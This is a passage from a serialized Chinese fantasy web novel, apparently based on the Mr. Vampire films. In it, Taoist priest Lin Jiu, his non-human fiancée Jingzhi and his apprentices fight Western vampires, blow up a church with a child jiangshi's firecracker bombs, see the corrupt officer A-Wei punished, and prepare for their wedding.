只见他树桩朝林九方向一丢,然后翻身避过胸口和下体两击的同时,手臂上抬紧紧护住脖颈。 三击皆未中。 不过没关系,因为静之等的就是这个时刻。 在他为了躲避翻转到空中时,转瞬间她又挥出一击直射他的背部。 一瞬间,斗篷与衣服破裂出一道口子,暗黑色的血液从他背上被剌出的伤口流出。 静之看到他竟然能被她伤到,面上一喜。 又连连挥了几下,直奔他的手腕和脚腕,意图断了他的行动能力。 吸血鬼这回对眼前这个看起来弱唧唧的女子有所防备了,这几击皆未打中。 他警惕的面对着静之周旋。 而他背后的林九却看着他背后的伤口皱眉。 林九也得了个结论。 吸血鬼,愈合能力极强。 上回让静之一番科普,他知道自己的法器也许对他没用,于是赶紧趁着这个时候,撩开随身的布口袋翻找着。 十字架,他没有。 圣经和圣水,他更没有。 蒜头,他厨房多的是。 于是拿出几个蒜头当做暗器,朝吸血鬼背后快要愈合的伤口用力掷去。 吸血鬼正紧盯静之,冷不丁被他从背后丢了个正着。 伤口像是被蒜头克制住了,愈合的速度慢了一瞬。 但蒜头掉地上以后,那道伤口恢复的速度渐渐加快,不过几秒,连道疤都没留下。 这一击不仅没有对他造成什么伤害,反而让他对身后的林九也起了警惕。 一时之间,这吸血鬼以他极强的恢复能力和极大的力气,和林九三人战成一团。 他不怕受伤,可他们三人怕呀。 还怕被他咬。 静之自从甩出尾巴意图把他勒死,结果差点被咬中以后,就赶紧把尾巴下移,死死缠住他的腰部和四肢。 奈何,这吸血鬼力气极大,饶是平时自称强壮如牛的静之,这会儿也被他反带着尾巴扯得东倒西歪。 给她气的。 既然缠绕这招行不通,静之干脆以尾做鞭,在林九和他打得如火如荼的时候,冷不丁抽他几下。 打不死他,但足够恶心死他。 吸血鬼还是有痛觉的。 他恨林九,更恨那个暗戳戳抽他的静之。 特别是那个女人闻起来很香的样子。 他一双红色的瞳孔紧盯着静之,不断避过林九对他发起的攻击,然后朝着静之飞了过来。 静之:啧,你会飞,我也会飞。 一时间,一黑一白两个身影飞上天你追我赶,静之还时不时甩出尾巴抽他一下。 给他气得,两只红眼睛都要凸出眼眶了。 底下的林九见她暂时牵制住了洋僵尸,赶紧蹲下来,双手扯出地上的树藤,以极快的速度摆出一个竖着的勒令。 然后掏出袋子里的五营神将,以各个神将守护的方位一一放好。 “秋生,快带尸体先走!”林九边说。 秋生在墙后观战,听到他说话,应了一声,抄起地上的女尸转身就跑。 天上的吸血鬼这时估计发现这两个人都不好对付,也不追静之了,方向一转,径直朝着最软的柿子---秋生飞了过去。 “秋生,先过来一下!” “哦!”秋生没跑几步,看到地上的阵法,知道他师父又有招了,于是脚步一拐,朝阵法奔了过来。 一阵冽风刮过他头顶,秋生下意识向前扑倒,肩上的尸体滚出去老远。 他后脖颈一凉,秋生都能感觉到吸血鬼那两根尖牙抵住他脖颈。 豆大的汗瞬间就沿着额头淌了下来。 不过一秒,秋生身后急着吸血补充体力的吸血鬼,被静之大力往后一扯,直接丢到林九的阵法上。 林九顺势竖起剑指,默念咒语。 地上五个小小的塑像随着他咒语的催动瞬间发起了光芒。 树藤像是灵蛇一般,动了起来。 捆住吸血鬼的脚往地下拖。 明明就是坚实的地面,他的脚却一点一点没入地里,任凭吸血鬼怎么挣扎都没用。 突然,五营中西边的一营爆裂开来,紧接着,是北和南。 树藤失去束缚的力道,吸血鬼瞬间挣脱开来,刚想对离他最近的林九发动攻击,却看到秋生扛着尸体跑走。 静之明显看到他愣了一下,狰狞的脸上竟有些慌乱。 他不追林九了,反而追着秋生跑去。 “秋生快跑!他要追上你啦!” 夜风猎猎,秋雾笼罩着大地,不时被大风吹散,又慢慢聚拢。 秋生觉得身后冰冷的尸体就像一块大石头压着他,越跑感觉越重,但是他完全不敢停下来。 刚刚那冰冷尖牙的触感,仿佛还停留在他脖颈,害怕的情绪致使他发挥超常,一路奔到了悬崖边。 木桥被狂风吹着,摇晃得更加厉害了。 就犹豫了那么一瞬,身后那个莫名失了镇定的吸血鬼一下就追了上来,离他不过十多米远。 秋生刚回头看了一眼,后脖颈突然又是一凉。 还是老位置,又覆上了两颗尖牙。 秋生惊得背部寒毛直竖。 他下意识俯身一个后甩腿,想将他身后的女尸踹到崖边去,怎料他此时是站在桥上的。 这一个大动作,直接让他脚下那块木板断裂开来。 秋生一个失力,不仅没踹翻女尸,整个人直往下掉。 慌乱中,他双手紧紧抓住吊桥两边的绳索。 他这一个猛然下坠,使得他身后的女尸也跟着下坠。 好消息:他的脖子暂时得救了。 坏消息:那尸体会动了。 更坏的消息:她正死死捏着他的脚脖子往上爬。 他朝下一看。 靠,这金发红眼的洋妞…谁啊? 他丑丑的尸体呢? 这个时候,秋生宁愿见到他的丑尸体,也不想看到这个疑似变成洋僵尸,并朝他笑得阴恻恻的美女。 就在这时,一个更坏的消息悬在他的头上。 那个男吸血鬼来了,就蹲在他头顶上。 秋生在风中流泪: 师父,今晚我不回家了,我看我今晚就要去远航…… 奇怪的是,那男吸血鬼竟然没有急着吸秋生的血,反而俯下身,伸手去够已经扒着秋生的裤子,爬到秋生腿上的女吸血鬼。 “darling!” 女吸血鬼眼神里布满深情,刚朝上头伸出一只手,一柄发光的金钱剑疾驰而来,直接割断了秋生的裤腰带。 秋生胯下一凉,又一松。 他的外裤连同那个女吸血鬼一同坠入深不见底的崖底。 秋生刚一喜,突然记起头上还有只更厉害的。 刚一抬头,就看到男吸血鬼以一种看死人的目光看着他。 吸血鬼手成利爪扯着秋生往上,刚想将他吸成干尸泄愤,那柄金钱剑转着弯又回来了。 与此同时,一道白光闪过。 秋生腰间卷过一条尾巴,被往后用力一拖,他就被静之甩到他俩身后。 “去拿尸体!” “哦哦哦。” 尽管手酸得要死,腿也直发软,但秋生完全不敢耽搁,踉跄着迈动两条大白腿往回跑。 另外一边,男吸血鬼被刚刚林九的阵法吓了一跳,这会儿对他丢出来的东西都心存忌惮,一个后仰躲过飞过来的剑。 林九剑指一转,控制着剑转弯,跟上他。 然而,他知道这剑伤不到他,这只不过是个拖延之计。 他快速拿出系着红绳的桃木锥,手中抡着红绳打着圈,然后瞅准他正躲避金钱剑的时机,狠狠将桃木锥往他后心口掷去。 “中,中了?!阿九你真厉害!” 那吸血鬼犹如断了线的风筝,从空中直往悬崖底下掉。 “该回去……” 刚收回剑,话还没说完,崖底不知从哪飞来一大群蝙蝠,托着刚刚掉下去的男吸血鬼就朝远处飞去。 “死没死啊?追吗?”静之问。 “师父,师父!找回来了。” 秋生来回两趟,这回累得呼哧带喘,背着尸体,跑到林九身旁问: “师父,接下来该怎么做?” 林九看着尸体,又看一眼已经失去吸血鬼踪迹的天空,叹了口气,“你们两个先回去义庄,把尸体处理好,等我回去再说。” 静之皱眉,“你不回去?都一天没休息了,再不回去天都亮了。” 林九:“我怕吸血鬼没死,我去石家村通知阿威,叫他派点人手一起找找尸体,这回可一定要看着他火化了,那个臭小子,傍晚的时候,估计拿个假的糊弄我!” 静之:“那我陪你去?” 林九拍了拍她的手安抚,“不用,你也一天没休息了,还有,回去帮我看着他们仨,别让他们把义庄给炸没了。” 秋生呆滞:(⊙_☉)这回可真不关他事啊。 静之:“……行吧,你小心点,早点回来。” 三人走到岔道路口。 看着走向另一条路的林九,静之忍不住提醒一句: “阿九,如果他没死,最好白天解决啊,吸血鬼最怕阳光了。” 林九回头,凌厉的眼神变得柔和,“好,等我回来。” 等他回来,他就传信给师兄…… 静之万万没想到,林九今晚回不来了…… 第165章 林九,你完了 来得时候,月亮在东边。 回去的时候,月亮在西边。 走了半天山路,跟着秋生这倒霉孩子回到义庄,已经快天亮了。 文才跟机器人似的,每天一到晚上九、十点,就自动关机。 睡得跟死猪似的,哪里还能起得来帮他们处理尸体。 倒是昼伏夜出的小僵尸一蹦一跳的,过来给他们开门。 说是处理尸体,其实也就是入殓师的工作,给死尸收拾一下仪容仪表,好让她以一个整洁的姿态下葬。 偏偏这位女尸是被开水浇过的,而且应该被抛尸野外超过3天。 今天中午又下了一场大雨,她脸上,身上的那一个个水泡的皮都浮囊了,又泛起一层淡淡的白色。 尽管静之再怎么小心翼翼擦拭,总会不小心擦破几个,脓水弄了一手,静之眉头皱起,却不是感到恶心。 心里只有对女尸的抱歉。 “……对不起。”看着跟前木板上平躺着的女尸,静之莫名说了一句。 看上去,才十七八岁,倒是个可怜人。 “没关系,错不在你,我还要向你道谢呢。” 声如莺啼般清脆,语气也十分温柔。 却把静之吓了一大跳。 毕竟,义庄只有她一个女的。 刚一回头,就看到小雨抱着已经被揭开符纸的坛子。 而他身边飘着一个女鬼,面容姣好,就是身上的衣服破破烂烂的。 静之放下细纱布,转头警惕看着女鬼,又分神不赞同的瞪了小雨一眼,“阿九没说可以打开的,你看他等会回来怎么收拾你。” 小雨默默举起空坛挡住自己脸,“她说,有话,跟你说。” 静之心想,他的舌头倒是一天比一天灵活了,小雨……这是进化了,还是变异了? 看来,有空的时候,得叫阿九给他看看。 “有什么话,你说。”见她不像有恶意的样子,静之默默扯过白布,将女尸赤裸的身体盖住,眼里依旧暗含一丝警惕。 她不着痕迹的打量了一下面前的女鬼,发现她魂体凝实了不少。 想来,应该是文才一天三次,给她上香供出来的吧。 女鬼朝她福身,“冤有头,债有主,我不会害你们的。我想去找那两个龟公……我和爹爹是一起去他们那儿卖唱的,我死了,我怕我爹会去找他们报复。” “之前我魂魄不稳,只能留在柴房附近,后来又被控制……现下,有您的帮助,我已恢复神智,求您放我一马,让我走吧,我怕去晚了,我爹爹就……” 静之越听,眉头皱得越紧。 她有些为难的说: “抓你的人,既然能抓你一次,肯定也能抓你第二次……这样,等阿九回来,我给他说说。” 女鬼:“可是他……” “阿九虽面冷,但心善得很,他会同意帮你的。”边说着,静之接过小雨手中的坛子,“人鬼毕竟殊途,你还是进来坛子里吧,不然对你我都不好,况且天也快亮了。” 女鬼面带忧愁,一张垂然欲泣的脸惹人心疼,但静之说得在理。 她悠悠叹了口气,身形一转,主动化作一团白光,入了坛内。 秋生见屋里头突然没有了声音,于是伸了个头进来,“女鬼呢?” 静之端着坛子放在祭坛上,“进去了。” 他现在怕极了女鬼,听静之说进去了,大松了一口气,跨过门槛快步走进去,拿起桌上的符纸快速贴在坛口处。 “诶,你!” 秋生回头,“怎么?” 静之:“唉,算了。” 她转头看一眼只有头露在外面的女尸,眉头皱起:“女性的寿衣我倒是可以给她换,但她魂体所穿的衣服已经烂到快走光了,你有没有什么办法啊。” 秋生走到墙角处,从柜子里掏出一包叠好的粉色纸裙,走过来说: “很简单,把这东西拿个盆烧掉,她就能收到了。” 静之说:“那你快烧。” 秋生:“师娘,你就是心肠好,但是做鬼的,哪有不可怜的,这样的鬼魂我见得多了,你哪里同情得过来哦。” “而且,这些纸衣可都是要拿来卖钱的,回头师父的账又对不上了。” 静之啧了一声,“话怎么那么多,赶紧烧。回头阿九问起,就说我让你烧的,记我账上就行。” 秋生耸耸肩,反正师父听她的话,她叫烧就烧呗。至于记到谁帐上,那就是他们两 口子的私事了。 秋生烧了纸衣,将黑灰小心翼翼倒入坛中,又把符纸封起。 他抬指敲敲坛壁,“呐,我们对你够好啦,等事情了结,你就别缠着我了,赶紧去投胎。” 坛子里传来闷闷的女声,“谢谢姑娘,谢谢公子。” …… “喔喔喔!” 后院的公鸡见到清晨第一缕阳光,跃到了篱笆墙上,扯开嗓子叫着。 处理好尸体的静之频频伸头看向院门口,“怎么还不回来?” 时间过去越久,静之眉头皱得越紧。 若是普通僵尸,她还能稍微放心点,吸血鬼林九是第一次见,他…不会出事了吧? “秋生你们看家,我出去找找!” 静之走后,睡了个回笼觉的秋生,懒腰伸到一半,就听到有人敲门,“师娘?这么快就回来,不去找啦?” 门刚一打开,靠在门板上的女子一个后仰,差点摔倒在地,秋生赶紧扶住她。 这女子还挺脸熟,是教堂那群年轻的修女之一。 此时她满脸惊慌,“九叔在吗?蝙蝠!教堂里真的有好多蝙蝠,mother跟其他姐姐都被困住了,求求你们帮帮我!” “师兄?什么蝙蝠啊?”文才被吵醒,揉着眼睛,从房间里走出来。 秋生回头,“来得正好,你跟我一起去帮忙!” 文才手指头指向自己,“我?我不行的,你找师娘帮你啊。” 秋生大步走过去,一把揪住他的后脖领,扯着他走,“师娘出去了,别说我没给你机会啊,昨天吃了师娘的鸡蛋羹,今天你麻溜的,多出点力!” 文才小声哔哔:(〇_o)“师兄,我也怕蝙蝠。” 秋生嘴角一勾,“那刚好!让你去练练胆!” …… 另外一边,心急如焚的静之赶到石家村,逮住神色慌张的阿威一顿威胁,“阿九呢?把阿九还我,你是不是又把他抓起来了?” 阿威手刚摸到腰间的枪,手腕就被抓住拧到身后。 “还想偷袭我?” 静之从他身后一脚踹向他腿弯,阿威哐的一声单膝跪地,怕得汗流浃背。 “我说过了,他来了,但是又走了的。” 静之曲起手指用力弹向他的眼皮,“你觉得我信吗?眼睛眨什么,心虚吗?” 她一把掐住他的脖子上提,“还不说?我捏死……” “哐!” 村公所侧后方一间屋子的瓦片突然从里往外,击穿一个洞,碎片飞洒了一地。 肯定有问题。 静之把吓到腿软的阿威一把甩到墙角,径直朝那间屋子奔去。 那个屋子,估计是村公所暂时的拘留室。 门是铁门,此时正关着。 今天阳光正好,静之透过竖着的铁条缝隙,能看到里头有个黑色的人影在动。 刚一走进,就看到一人的双手被两侧的铁链高高捆起。 他整个人被一件黑色斗篷罩住。 斗篷底下有四只脚相对而站。 所以这是哪里来的野情侣……在玩sm吗? 不对! 她眼神聚焦在被捆着的那只手上。 手指骨节分明,指尖红润,大拇指和小指指甲微长。 这不是她未婚夫的手,还能是谁的?! “阿九!!!” 静之脚一跺,嘴一瘪,一瞬间气得肝都要炸裂。 斗篷里的人听到声音,不仅没有回头看她,反而不断挣动着,四只脚几乎贴到了一起。 静之:靠! 静之觉得她就像抓奸的原配。 一颗心又酸又怒。 她疯狂摇晃着铁门,却发现铁门从里头拴住了,还上了一把大锁。 “林九,别以为我不知道是你在里面!一晚上不回家,我还怕你出事了,没想到你竟然在这里给我搞这出!哼!” 她脸臭得不行,门也不摇了,转身就走。 “静之别走!” 林九刚说了一句话,就听到有个女人嘶了一声,然后说: “你咬我耳朵?” 林九:“你要咬我脖子,我怎么就不能咬你耳朵。” 静之头也没回,冷冷笑了一声。 “林九,你完了。” 第166章 把你爹炸飞 被罩在斗篷底下的林九,一听到她冰冷的语气,心一急,腰身一个用力,双脚悬空,用力往还在揉耳朵的“一点点”小姐腿上踹去。 “嘭!” “哎呀!” “一点点”小姐嘴着地,冷不丁摔了个狗啃泥。 “静之!她是吸血鬼!快回来!” 静之还没来得及回头,她就看到跟前带着小黑斗篷,不知道什么时候来的小雨,朝她身后的铁门丢了个东西。 “你丢啥了?” 小雨歪头眨巴着眼睛,“放,个炮!” “什么???” 来不及回头,她抱着小雨矮身躲进一边的灌木丛里。 只听得“嘭”的一声巨响,又是一声重重的“哐当”声,铁门不堪重负,终于倒下了。 “臭小子,别!!!”她惊惧呼叫。 又是一道棕色的弧线划过天空,静之眼睁睁的看着那个点燃引线的炸弹,落在林九脚下。 几乎是一秒内,静之撒开小雨,跨过灌木丛,脚不着地冲进牢房里。 “一点点”小姐没来得及看清来人,就看到她的猎物被抱着跳上房顶。 不过两秒,耳边一声巨响,火光瞬间吞噬了她黑中带着一点红的瞳孔…… 此时她脑子里只剩下最后一个念头。 妈耶,刚变成吸血鬼一天,她还没尝到人血呢…… 林九两手绑着的铁链被炸断了,他感觉正被静之带着往上飞。 光线影影绰绰的,从她缠绕成球的尾巴缝隙里透了一点进来,被包裹在里头的林九,甚至没感觉到一点爆炸产生的热度。 脖子倒是觉得有点凉。 林九眼睛下垂一瞄,他被解开的领口处,锁骨旁两个红色的小点分外突兀。 好在没破皮,他松了口气的同时,却觉得脖子有一阵凉飕飕的冷意袭来。 抬头一看。 哦,凉飕飕的,是她的眼神。 下坠感传来的同时,他看到静之瘪着嘴,拿袖子不断擦着他脖子上的红色小点,满脸尽是不悦,眼眶甚至开始泛出一层水雾。 林九试图解释,“对不起!我不是……” 还没说完,她被炸得有些焦黑的尾巴尽数收回。 刺眼却不晒人的秋季阳光,带着些暖意洒在二人头顶。 林九被擦红的脖子突然被紧紧圈住。 她埋进他的颈窝,点点滚烫的泪滴落到他半敞开的脖颈边。 “呜呜呜,吓死我了……” 刚刚那一瞬间的恐惧,不亚于当初天雷劈向林风的那一刹那。 有那么一刻,她以为他就要死了。 静之心里阵阵后怕传来,哭得上气不接下气。 林九还以为她要质问他。 这会儿,他才明白过来,相比他的贞操,她更在意的是他的安危。 心口有些发胀。 林九轻轻拍着静之的背,看着不远处着火的牢房,还有不知是在救火还是救吸血鬼的阿威,他的眼里划过一丝冷厉。 “我没事,有点事,我必须做。” 她睁着泪眼朦胧的双眼抬头,吸了吸鼻子,“什么事?” 林九朝阿威一扬下巴,又低头擦去她眼角的泪花,“吸血鬼是他放出来的,蔗姑胞妹因他而死,我想,咱们得去一趟派出所。” 静之看着阿威那张脸,莫名就想到了省城里的大帅,“有用吗?我想,还未上诉成,应该就会被大帅卡下来。” “你别忘了,蔗姑胞妹也姓任,任家在这儿是有头有脸的大户人家,表小姐死了,他们怎么也不会放过阿威的。” 林九还少说了一句。 他走闯两广这么多年,也听到一些风言风语,龙大帅那个位置,要是没有任家的金钱支撑,恐怕也坐不稳那个位置。 这回,他想以龙大帅那个自私自利的性子,阿威的事情,他不一定会插手。 静之:“哦,那就去呗。” 林九点头,牵着静之走到小雨旁边,对他说:“你再出来乱跑,我就罚你一个礼拜没番茄吃!给我回去!” 小雨急得双手做飞鸟状,扑腾了两下,又指了指天空,比划了好一会儿,才记得他会说话了。 他一拍光脑门,磕磕巴巴的说: “蝙蝠,飞,人,在天上。” 林九和静之对视一眼,赶紧问: “往哪个方向去了?” “东。” “镇上啊?! ” 林九悬着的心算是死了。 这还得了,镇上全是人。 根据蔗姑胞妹被转化成吸血鬼的样子来看,只要有一个人被咬,其他人的危险就会成指数倍上升。 静之:“别怕,今天大太阳,他估计不敢出来!走!我们快去镇上阴暗的地方找找!” …… 两人一人一手拎着非要跟来的小雨,一路狂奔来到镇上。 得亏小雨现在越长越像人,只要他不张嘴不说话,看上去就像是脸色有些苍白,腿脚不太利索的儿童。 街上的人看了一眼后,却又忍不住频频偷看。 到处都有人在窃窃私语。 “那是九叔的儿子?” “不知道啊,没听说。” “看上去都十岁了,九叔藏得可真好。” “那可不,他身边那个姑娘,也是近一年才带到任家镇的呢,谁知道他藏了多久。” 林九朝乡亲们笑得有些尴尬,耳朵也渐渐红了起来,脚下的步伐倒是越发快了。 他有一个想法,或许那吸血鬼,就藏在他没来得及检查的教堂阁楼里。 刚走到一半,八卦的卖菜大娘迅速塞过来一颗白菜,眼神直往小雨脸上瞧,并说: “九叔啊,什么时候生个老二啊,你年纪不小了,可不能再等了。” 林九:(⊙_☉)他的老大还不知道在哪儿呢…… 林九满脸涨的通红,看一眼大娘,又躲躲闪闪,避开静之带笑的目光。 平时可会冷嘲热讽的嘴,这会儿也变得不再利索。 “这,我,哎呀,他不是--” 静之掏出零钱塞到大娘手里,快速打断他的话,“少生优生,幸福一生!我们只要这一个就够了!大娘今天卖完菜也要早点回家,我们还有急事先走了!” 说完,静之抱着两颗大白菜,林九抱着小雨,逃也似的,朝街尾的破教堂奔去。 两人此时心中的想法达成了一致。 催婚催育,是会达到反效果的。 …… 果然,林九猜得没错,那吸血鬼果然在教堂里。 刚靠近教堂,就看到门口围着一圈惊慌失措的修女,里头还传来秋生文才跟吸血鬼打斗的声音。 严肃的说,是秋生跟吸血鬼打斗,而文才只是慌张哀嚎并碎碎念着。 “师兄,快,他要咬到我屁股啦!” “师兄,有蝙蝠咬我,快来呀!” “师兄,啊啊啊~~又追上来啦!” 林九将小雨放下,“看好他,我去帮忙。” 静之把白菜塞给小雨,“看好它们,我进去帮忙。” 小雨:(●__●)看什么看,他才不要看两颗白菜。 他昂起头,撩开黑斗篷露出半打新研发的炸弹,“娘,我想,放炮。” 静之看着林九远去的背影,又看一眼天天想放炮的熊孩子,额头青筋直跳。 “你放个屁你放,刚刚才把你爹娘炸飞,现在又想炸……” 还没骂完,静之灵机一动,于是动手拆下他身上绑着的炸弹,“先借为娘用一下,回去还你一串鞭炮!” 小雨挠头,他这就剩半串了。 一串,应该是更多的吧。 他腼腆的抿着嘴,嘴唇死死包着尖利的獠牙,缓缓勾起一个僵硬的笑容。 旁边的修女看得浑身一抖。 这小孩……怎么笑得这么渗人。 第166章 你有意见? 林九一进去,就看到秋生正站在房顶上,而文才正双手攀在房梁上,要上不上,要下不下的。 而那只吸血鬼果然没死,这会儿正伸长了手死死抓住文才的腿往他嘴里送。 林九心一紧,赶紧催动随身携带的金钱剑射出去。 吸血鬼不仅没咬到腿,锋利的牙齿咔嘣一声直接咬在金钱剑上。 有些烫嘴,但不多。 林九知道他这些东西对他造不成伤害,不过是缓兵之计罢了。 在剑丢出去的时候,他脚一蹬旁边的桌子,飞身上前,一脚踩着吸血鬼的头,一手把住文才的腰用力往上一送。 “把他带走!” 菜就算了,还把文才带进来,不是给他这个师父找事儿做吗。 就在这时,他的脚也被吸血鬼抓住了,不过,他可没文才这么菜鸡。 没等吸血鬼使力把他往下拽,他双手交叉,身体用力转了个圈,带动猝不及防的吸血鬼在空中转了个圈,而他顺势一脚蹬开他松了力道的手,跳到了房梁顶上。 吸血鬼被踩了头,受到了挑衅,气得急追直上。 而这正好中了林九的计谋,叫两个徒弟让开后,他徒手扒拉开手边的屋顶木头,让正午的阳光照在他底下的吸血鬼身上。 仿佛沸点只有阳光的热度那么高,那张苍白的脸,皮肤开始慢慢融化,变得焦黑,又泛起一阵白烟。 吸血鬼捂着脸连连后退,满眼忌惮的看着屋外的阳光。 验证了静之的话,林九剥开更多房顶的木头,增大了阳光照进屋内的面积。 最后剥无可剥,只剩下门边的楼梯一角一点隐影,吸血鬼就藏在那里。 林九想,还是得靠自己解决,光靠阳光不行了。 就在他刚刚想跳下去的时候,外头突然传来静之的声音。 “阿九,都快躲开!我要放炮啦!” 林九:“…………” 小雨这是把她一起带坏了吧。 不过这也不失为一个好方法,他一转身,就发现原本跟他蹲在一起的秋生文才早就跳下去了,他不禁一阵无语。 也跟着往下跳。 这两个兔崽子,他看那些火药,就是他俩给小雨带的吧,义庄可没有那些东西。 还未等他多想,静之一把点燃那五六根炸弹往里一丢。 跑都来不及,直接脚一蹬朝外头飞去。 只听见一声冲天巨响,破烂的教堂仿佛被小型核弹击中。 大朵的蘑菇云带着冲天的火花直冲云霄。 任家镇的男女老少,一瞬间都停止了动作,皆一脸惊惧,转头看着街尾那朵蘑菇云发呆。 “怎,怎么了?” “呀,十字架掉下来了。” “外国人又打进来了?!”一位去广州参过军的老兵如是说。 这句话直接打消了周围人想过去看热闹的念头,街上的人瞬间一哄而散。 正午时分,本来热热闹闹的任家镇,一瞬间变得空空荡荡的。 修道院的几个修女,林九,静之,秋生文才,还有小雨,皆昂着头看着熊熊的火势。 林九教育小雨,“看,以后别玩了,一不小心,义庄要是变成这样,你就得露宿荒野了。” 边说着,他的目光还不时瞥向双眼亮晶晶的静之。 他怎么觉得,她好像被挑起了什么兴趣的样子。 这东西,可不兴玩啊。 目光实在灼热,静之凑近他挽住他胳膊,眼睛不离逐渐崩塌的教堂,“阿九,这回他应该被炸得四分五裂了吧。” 秋生凑过来,“何止啊,我看都被烧成灰了。” 文才附和,“对,一定被烧成灰了。” 林九还是心存警惕,他两手提溜住两个要往回走的徒弟,“先别走,多观察一会儿,凡事多长个心眼。” 秋生小声哔哔,“就你心眼多。” 林九瞪大双眼怒道,“你说什么?!” 秋生瞬间换一张笑脸,“嘿嘿,没什么。” 他又提一句,“师父,这回那些蝙蝠应该也一起烧死了吧?” “咔擦!” 粗大的房梁木被大火烧成碳掉落下来,扬起了一地的灰。 众人不禁又后退几步。 林九看着被烧穿的屋顶,以及就剩一点矮墙的教堂说:“应该是。” …… 等到火势渐渐变小,林九蒙着口鼻,亲自进去确认,发现地上有个人形骨灰印子后,这才放下心来,朝外面扬声道: “走,去警察署。” 秋生一脸疑惑,“师父,去那儿干什么啊?” 林九:“状告阿威贪财害命。” 静之诶诶两声,“还有还有,无故绑架我相公!这回看我不扒掉他一层皮。” 秋生眉毛一动一动的走过来,一脸揶揄,“哦~~~你相~公~” 文才看着他师兄那两条灵活的眉毛,于是跟着动了两下眉,却发现只挤出了两条抬头纹,于是作罢。 只是嘴上跟着说一句,“你相公。” 静之叉腰,扬起下巴看着他俩,“就是我相公,怎么,你们两个有意见?” 文才缩缩脖子:“没。” 见没打趣到她,秋生摊手,嘁了一声,连人带菜抱起小雨,“走喽!又有热闹看喽。” …… 果然不出林九所料,不过半天时间,阿威得到消息,他被龙大帅彻底放弃了。 不仅队长的位置被撤了,警服被扒了,他也被判了游街三天,关大牢三年。 此时的阿威,身上穿着囚衣,正被关在囚笼里,伸出一个头游着街。 乡亲们这会儿见有热闹看,纷纷又上街来了。 一看是平时作威作福的阿威,皆拿出臭鸡蛋烂菜叶往囚车上丢。 静之亦步亦趋跟在后面,接过小雨怀里的白菜,边扒叶子,边往他头上丢,边碎碎念: “叫你欺负阿九。” “叫你上次不分青红皂白关他大牢!” “叫你这次助纣为虐囚禁他!” 阿威见大势已去,脸上早就没了以往那副洋洋得意的嘴脸。 相比被乡亲们砸臭鸡蛋,更让他大受打击的,还是他哥放弃他这件事。 难道,他真的做错了吗? 他只是想送颗宝石给表妹啊…… “行了。”林九拉住静之的手,“别浪费好菜,一天一夜没吃没喝没睡觉,大家都累了,先回去再说。” 静之看着手里只剩下半个的白菜,又看看失志的阿威,点了点头,“走!阿九,我回去给你炒白菜吃!” 走到叉烧铺,她停了下来,“等等,你最爱吃叉烧,我给你买一份再走。” 林九专注的看着她兴致冲冲的背影,微微一笑,柔柔答了一声: “好。” 有些事耽搁太久,也是时候提上日程了。 然而,有些人贼心不死,硬是要撞到他枪口上,让林九恨得牙痒痒…… 第二天。 林九立马约了石坚来到新开的酒楼,谈谈他儿子的事儿…… “师兄,他没来吗?” 石坚面上一僵,“他在门外等着,你有什么事就说吧。” 从门口射进来的两道寒光实在让人无法忽视。 林九回头看了石少坚一眼,又转头确认了一眼他师兄的脸,他斟酌了一下语句,开口问: “师兄,你是怎么找到他的?” 平时石坚就看不起林九,这会儿他这句话,好像赤裸裸戳穿了他欲隐藏的秘密,石坚放在膝盖上的手瞬间捏紧。 脸上却依旧是一片云淡风轻。 “什么找到,是他主动来找我拜师的。” 石坚想,他倒也不算说谎,坚儿还真是拿着他的信物主动来认亲的。 林九: “您知道,我说的并非是拜师之事,你就没有怀疑过他的身份?” 石坚有些不耐,更多的是心虚。 手中的茶杯哐的一声,重重放到桌上,淡黄色的茶水甚至溅了一点出来。 害怕石坚的静之,不仅一言不发,甚至还朝林九的方向靠了靠。 石坚撇嘴,忍不住对静之又翻了个白眼。 林九带回来的师妹是这个德性,要娶的夫人也是这个德性,看着就来气! 他眉心一皱,“难不成你信不过我?” 林九忙称不敢,“只是……我怕有人弄虚作假,污了您的名声。” 石坚冷哼一声,“这就不关你的事了,我可没这么多时间,你要是还不说有什么事,我就先走了。” 林九看了一眼垂着头默默喝奶茶的静之,“我与她定在下个月初八成亲,我希望那天……不要有什么意外发生,否则,还请恕师弟不留情面……” 话语未尽,林九的意思传达到了,顺势递出一张请帖,“师兄那日若得闲暇,还望前来共饮杯喜酒。” “哼!你放心吧,该管之人,我自会管好,倒是你……”石坚定定的看着静之的发旋,看得静之头皮直发麻。 就在她以为他不同意,要掀桌的时候,只听得石坚严肃的声音传来,“你真的确定好了吗?她可不是人。” 林九伸手紧紧握住她有些被看出汗的手,坚定点头,“林九从不乱许承诺,我确定。” 语气里没有一丝一毫的动摇,让石坚不由又多看了静之两眼。 他师弟虽然他看不上眼,但是他以前的那颗向道之心,在他看来,还真是没得说的。 这女子,看来真是被林凤娇放心上了。 莫名的,他就想起了他那个死去的白月光。 如果她还在,还有坚儿,他们也会有个幸福的三口之家吧…… 然而,天不遂人愿…… 石坚叹了口气,语气不再强硬,但依旧端着架子,“……再看吧,有空就去。” 说完,他站起身子就往外走。 静之见他走远了,俯低身子问: “阿九,他这是同不同意来啊?” 林九轻轻摩挲着她的手心,“我师兄能说到这个份上……应该是会来吧。” 就在这时,隔壁桌的秋生紧急回头,压低声音对林九说: “师父,他私生子拔钱老板女儿头发诶,他是不是想用我之前用过的那招啊?” 文才挠头,“哪招?” 秋生拍了一下他的头,“哎呀,就是替身那招,咱们有一次还耍阿威来着,你忘记啦?” 看着急冲冲单独走掉的石少坚,林九朝秋生说: “你们两个跟着他,别轻举妄动,看清楚他要做什么……” 他从怀里掏出一个纸鹤递给秋生,“到时候传音给我。” “得嘞!” 秋生接过纸鹤,两人不远不近跟着石少坚走了出去。 “走吧,我们去买点东西。”林九说。 “买什么?” 林九耳廓染上了一点夕阳的绯红,他低声说:“成亲要用的东西。” 她眉眼带笑,甚至连声音里都带上一股喜意,“好!” 夕阳斜斜打在两人身上,背影被拉得很长,中间的双手突然转换了一下位置,十指紧紧交扣在了一起。 林九的耳朵……更红了………… “对了,既然到了这里,有张请帖,我一定要送。” 她转头问,“青叔吗?” 林九悠悠看着她,“仲尧。” 静之:(′?_?`) 静之:“……你可真坏。” 第167章 想想办法吧 送完请帖,林九心情莫名的好。 回到义庄,想好好教训一下小雨。 待看清他的现状时,却又疑惑丛生。 静之看着小雨头上长出的一点毛茬,眼里满是好奇,于是转头问林九: “阿九,他不会要变人了吧?我看他最近腿脚好像能打弯了,头发也长出来一点儿……” 她挑起小雨的手研究了一会儿,又将它举到林九面前,“就是这指甲盖越发乌黑了,指甲好像还长了一点。” 林九尝试性贴了张符纸到小雨额头。 静之一时不明白他在干什么,“你定住他干嘛?他今天又没做错事。” 